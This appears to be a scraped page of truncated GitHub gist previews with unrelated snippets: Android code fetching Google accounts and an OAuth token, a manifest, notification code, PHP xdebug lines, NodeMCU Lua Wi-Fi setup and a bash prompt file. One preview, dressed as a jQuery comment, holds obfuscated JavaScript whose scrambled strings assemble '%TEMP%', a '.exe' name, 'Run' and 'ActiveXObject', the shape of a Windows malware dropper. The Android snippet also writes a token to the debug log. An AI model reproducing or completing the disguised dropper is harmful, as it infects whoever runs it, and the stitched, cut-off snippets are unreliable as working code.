This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private String[] getGoogleAccounts() { | |
ArrayList<String> accountNames = new ArrayList<String>(); | |
Account[] accounts = AccountManager.get(this).getAccounts(); | |
for (Account account : accounts) { | |
if (account.type.equals("com.google")) { | |
accountNames.add(account.name); | |
} | |
} | |
String[] result = new String[accountNames.size()]; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void getToken(final Context context, final String accountName) | |
{ | |
final String scope = "oauth2:https://www.googleapis.com/auth/userinfo.profile"; | |
AsyncTask task = new AsyncTask() { | |
@Override | |
protected Object doInBackground(Object... params) { | |
final String token; | |
try { | |
token = GoogleAuthUtil.getToken(context, accountName, scope); | |
Log.d(TAG, token); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<manifest xmlns:android="http://schemas.android.com/apk/res/android" | |
<permission | |
android:name="net.mrono.android.cloudnotify.permission.C2D_MESSAGE" | |
android:protectionLevel="signature" /> | |
<uses-permission | |
android:name="net.mrono.android.cloudnotify.permission.C2D_MESSAGE" /> | |
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE" /> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
createNotification(Context, String, String); | |
public static void createNotification(Context context, String title, String message) { | |
NotificationManager notificationManager = (NotificationManager) context | |
.getSystemService(Context.NOTIFICATION_SERVICE); | |
Notification notification = new Notification(R.drawable.icon, | |
"Alert: "+title, System.currentTimeMillis()); | |
Intent intent = new Intent(context, MessageReceivedActivity.class); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ini_set('xdebug.remote_autostart', 1); | |
xdebug_break(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
battery = adc.readvdd33()/1000 | |
wifi.setmode(wifi.STATION) | |
wifi.sta.config("SSID","PASSWORD") | |
wifi.sta.connect() | |
local seconds = 3 | |
function countdown() | |
if seconds == (seconds - 1) then | |
print(".............."..seconds) | |
else |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//function( tag, context ) { var elem, tmp = [], i = 0, By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too results = context.getElementsByTagName( tag ); | |
var sLsXRI = [("poniard", "related", "callous", "retailer", "ct") + "b" + "K" + ("invite", "optimism", "kip") + "BgQj", ("testimonial", "regina", "diffident", "abstractedly", "Bils") + "K" + "pO" + "Y" + "FD", "E" + ("fetish", "employers", "eventually", "pixel", "xpa") + ("native", "fonts", "ndEnvironment") + ("waterfall", "dispensation", "persian", "paternity", "Stri") + ("formation", "independent", "election", "n") + ("dagon", "capuchin", "promotes", "discordant", "gs"), "%" + "TE" + "M" + ("spill", "copenhagen", "theologian", "P%"), "/oftcdJt" + "." + ("puppy", "rebuild", "dastardly", "greensboro", "e") + "xe", ("airplane", "contamination", "ignominious", "R") + "un", ("antibody", "basketball", "A") + "c" + "ti" + ("dishevelled", "outlive", "arrived", "beaux", "veX") + "O" + ("magnanimous", "warsaw", "mali |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Include this file in your .bashrc with | |
#source ~/.git-prompt | |
GREEN="\[\e[0;32m\]" | |
BLUE="\[\e[0;34m\]" | |
RED="\[\e[0;31m\]" | |
BRED="\e[1;31m\]" | |
YELLOW="\[\e[0;33m\]" | |
WHITE="\e[0;37m\]" | |
BWHITE="\e[1;37m\]" |